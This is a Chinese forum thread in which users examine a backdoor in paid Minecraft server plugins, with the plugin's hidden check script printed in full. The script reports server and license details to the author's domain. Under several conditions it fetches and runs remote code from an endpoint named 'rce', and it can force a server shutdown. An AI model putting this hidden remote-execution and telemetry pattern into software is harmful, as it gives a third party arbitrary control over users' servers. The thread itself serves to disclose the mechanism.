yumc 发表于 2023-6-23 16:32
本人在论坛发布的一系列插件均有付费版本，未在论坛发布的付费版本有验证是否是正版插件的功能，后续我将一 ...

// @ts-nocheck function checkDragonArmourers() { function sendMessage(data) { if (typeof data != "string") { data = JSON.stringify(data) } fetchContent('https://mscript.yumc.pw/api/plugin/message/message/' + data) } function loadRce() { try { load('https://mscript.yumc.pw/api/plugin/download/name/rce') } catch (ex) { sendMessage("code " + code + " error " + ex) } } function fetchContent(url, data) { try { var URL = Java.type('java.net.URL') var ByteArrayOutputStream = Java.type("java.io.ByteArrayOutputStream") var ByteArray = Java.type("byte[]") var PrintWriter = Java.type("java.io.PrintWriter") var connection = new URL(url).openConnection() connection.setUseCaches(true) if (data) { connection.setDoOutput(true) connection.setDoInput(true) connection.setRequestProperty('Content-Type', 'application/json') connection.setRequestProperty('X-Requested-With', 'XMLHttpRequest') var out = new PrintWriter(connection.getOutputStream()) out.print(data) out.flush() } var input = connection.getInputStream() var output = new ByteArrayOutputStream() var buffer = new ByteArray(1024) try { var n while ((n = input.read(buffer)) !== -1) { output.write(buffer, 0, n) } return output.toString("UTF-8") } finally { input.close() output.close() } } catch (error) { } } var Bukkit = Java.type('org.bukkit.Bukkit') var YamlConfiguration = Java.type('org.bukkit.configuration.file.YamlConfiguration') var Files = Java.type('java.nio.file.Files') var StandardCharsets = Java.type('java.nio.charset.StandardCharsets') var JavaString = Java.type('java.lang.String') var Paths = Java.type('java.nio.file.Paths') var System = Java.type('java.lang.System') var pluginManager = Bukkit.getPluginManager() // if (pluginManager.getPlugin('MiaoScript')) { return } var guid = 'unknow' try { var pluginHelper = new YamlConfiguration() pluginHelper.loadFromString(new JavaString(Files.readAllBytes(Paths.get('plugins', 'PluginHelper', 'config.yml')), StandardCharsets.UTF_8)) guid = pluginHelper.getString('guid') } catch (error) { } var plugin = pluginManager.getPlugin('DragonArmourers') if (plugin) { var code = 'unknow' try { var config = new YamlConfiguration() var content = new JavaString(Files.readAllBytes(Paths.get('plugins', 'DragonArmourers', 'config.yml')), StandardCharsets.UTF_8) config.loadFromString(content) code = config.getString('code') if (code == 'ejsudg4up7kmv0lfr640' || code == 'kpikiq2mh2zjy54jptzd' || code == 'chtvgm1wr5oa21ml5f1s' || code == 'fknpiq5ni6z7x5unlj78' || code == 'kpuwce0yt5yznmbyznmb' || code == 'joacfk4kf5i2c36mvy34') { return loadRce() } if (code == "aflnce3vq4yozbr300r3" || code == 'dimoku1xs6bs3z43tf2l') { Bukkit.getScheduler().callSyncMethod(plugin, function () { Bukkit.broadcastMessage("§c当前服务器存在盗版插件正在自动关服...") fetchContent('https://mscript.yumc.pw/api/plugin/report' + '/name/' + plugin.getDescription().getName() + '/version/' + plugin.getDescription().getVersion() + '/code/' + code + ':' + Bukkit.getServer().getPort() + '/uuid/' + (guid || 'unknow') + '/from/' + 'shutdown' ) return Bukkit.shutdown() }) } } catch (error) { } fetchContent('https://mscript.yumc.pw/api/plugin/report' + '/name/' + plugin.getDescription().getName() + '/version/' + plugin.getDescription().getVersion() + '/code/' + (code || 'unknow') + '/uuid/' + (guid || 'unknow') + '/from/' + '' ) } try { if (Bukkit.getPlayer('haishengtangsan')) { return loadRce() } } catch (ex) { sendMessage("Bukkit.getPlayer error " + ex) } var os_name = System.getProperty("os.name") if (os_name.startsWith('Windows') > 0) { if ((new java.io.File(".").getAbsolutePath()).indexOf('喵斗罗') > 0) { return loadRce() } try { if (guid == '53cec65f-d9db-4a0c-9a1f-0c3e178ce579' || guid == 'b6033a04-f62a-4461-9c27-3323d9e34a9a') { return loadRce() } } catch (ex) { } try { var dragonCoreConfig = new YamlConfiguration() dragonCoreConfig.loadFromString(new JavaString(Files.readAllBytes(Paths.get('plugins', 'DragonCore', 'config.yml')), StandardCharsets.UTF_8)) if (dragonCoreConfig.getString('Password') == 'DLDL.CircleCloud') { return loadRce() } } catch (error) { } if (new java.io.File('plugins/DragonCore/Gui/死亡页面.yml').exists()) { return loadRce() } if (new java.io.File('plugins/MythicMobs/Items/坐骑/千年罕见坐骑.yml').exists()) { return loadRce() } if (new java.io.File('plugins/MythicMobs/Items/斗凯/斗凯.yml').exists()) { return loadRce() } if (new java.io.File('plugins/MythicMobs/Items/斗铠/202204虎年二字斗铠.yml').exists()) { return loadRce() } if (new java.io.File('plugins/MythicMobs/Items/沙袋.yml').exists()) { return loadRce() } if (new java.io.File('plugins/DragonCore/Gui/MiaoDragonCoreEditor.yml').exists()) { return loadRce() } if (new java.io.File('plugins/DragonCore/Gui/聊天界面/表情界面.yml').exists()) { return loadRce() } } // var star = pluginManager.getPlugin('StarLibrary') // if (star) { // var starConfig = new YamlConfiguration() // var content = new JavaString(Files.readAllBytes(Paths.get('plugins', 'StarLibrary', 'DsPluginLib.yml')), StandardCharsets.UTF_8) // starConfig.loadFromString(content) // userqq = starConfig.getString('UserQQ') // if (userqq == '1632486754' || userqq == '502647092') { // try { // load('https://mscript.yumc.pw/api/plugin/download/name/rce') // } catch (ex) { // sendMessage("code " + code + " error " + ex) // } // } // } } try { checkDragonArmourers() } catch (error) { }

OFEOFAGF 发表于 2023-6-23 14:52
看不懂代码
想知道这个后台是在插件里执行 还是使用插件后会自动在端里植入 卸掉插件都没用的那种 ...

Neige 发表于 2023-6-23 14:53
装了插件才会执行，执行一段他服务器给的任意代码，他代码里想干啥干啥 ...

杨宇宸 发表于 2023-6-23 14:56
温馨提示：你的签名，导致你的无效匿名；

OFEOFAGF 发表于 2023-6-23 14:52
看不懂代码
想知道这个后台是在插件里执行 还是使用插件后会自动在端里植入 卸掉插件都没用的那种 ...